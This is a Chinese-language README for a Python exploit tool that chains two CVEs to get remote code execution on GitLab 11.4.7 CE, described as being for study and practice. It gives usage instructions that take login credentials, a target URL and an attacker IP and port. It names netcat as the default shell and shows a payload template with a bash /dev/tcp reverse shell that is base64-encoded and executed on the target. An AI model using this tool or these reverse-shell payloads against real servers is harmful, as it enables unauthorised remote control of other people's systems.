
GitLab 11.4.7 远程代码执行漏洞利用,包含多种反向Shell。CVE-2018-19571 + CVE-2018-19585
GitLab 11.4.7 CE RCE 漏洞利用工具,支持多种反弹 shell。
CVE-2018-19571:https://nvd.nist.gov/vuln/detail/CVE-2018-19571
CVE-2018-19585:https://nvd.nist.gov/vuln/detail/CVE-2018-19585
本版本基于 Sam Redmond 和 Tam Lai Yin 的版本进行修改,用于学习和练习。
本工具用 python3 编写,符合宇宙真理。
依赖:
pip3 install requests
使用:
python3 rce_script.py -u <用户名> -p <密码> -g <URL:端口> -l <本地IP> -P <本地端口> [<shell类型>]
默认使用带 -e 选项的 netcat shell。
当前内置的 shell 类型:
某些 shell 包含与请求编码不兼容的字符,因此它们被编码为 Base64,然后在目标机器上解码并执行。
如果要添加自己的 shell,请在 payloads_dict 结构中添加一个值。
您需要定义以下内容:
'bash': {
# If the raw_payload can be executed withoud encoding
'safe': False,
# Payload, must contain the references for the local_ip and for the local_port
'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
# How to execute the payload if safe is False. Must conatin the reference for payload
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
HTML 解析方式相当硬编码,可能会轻易失效。